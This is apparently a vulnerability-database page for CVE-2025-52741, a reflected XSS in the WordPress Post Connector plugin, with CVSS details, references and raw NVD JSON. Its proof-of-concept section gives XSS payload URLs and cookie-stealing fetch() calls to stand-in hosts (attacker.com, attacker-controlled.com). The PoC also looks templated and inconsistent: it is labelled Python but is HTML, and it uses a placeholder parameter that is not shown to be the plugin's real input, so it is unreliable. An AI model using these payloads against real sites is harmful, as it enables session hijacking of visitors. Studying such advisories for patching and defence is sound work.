CVE-2025-52741

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Barry Kooij Post Connector post-connector allows Reflected XSS.This issue affects Post Connector: from n/a through <= 1.0.11.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Post Connector <= 1.0.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-52741 PoC - Reflected XSS in WordPress Post Connector -->
<!-- Attacker sends this malicious URL to victim -->
<!-- When victim clicks, JavaScript executes in their browser -->

<!-- Example malicious URL -->
<!-- https://target-site.com/?post_connector_param=<script>alert(document.cookie)</script> -->
<!-- or -->
<!-- https://target-site.com/?s=<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>> -->

<!-- HTML PoC for demonstration -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-52741 PoC</title>
</head>
<body>
    <h2>CVE-2025-52741 - Post Connector Reflected XSS</h2>
    <p>Click the link below to test the vulnerability:</p>
    <a href="http://target-site.com/?s=%3Cscript%3Ealert%28%27XSS%20Confirmed%27%29%3C%2Fscript%3E" target="_blank">Malicious Link</a>
    <p>Or use fetch to exfiltrate cookies:</p>
    <code>
        fetch('https://attacker-controlled.com/log?c='+btoa(document.cookie))
    </code>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52741
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52741
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52741/
[4] VulDB https://vuldb.com/cve/CVE-2025-52741
[5] https://patchstack.com/database/Wordpress/Plugin/post-connector/vulnerability/wordpress-post-connector-plugin-1-0-11-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-52741", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:44.213", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Barry Kooij Post Connector post-connector allows Reflected XSS.This issue affects Post Connector: from n/a through <= 1.0.11."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/post-connector/vulnerability/wordpress-post-connector-plugin-1-0-11-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}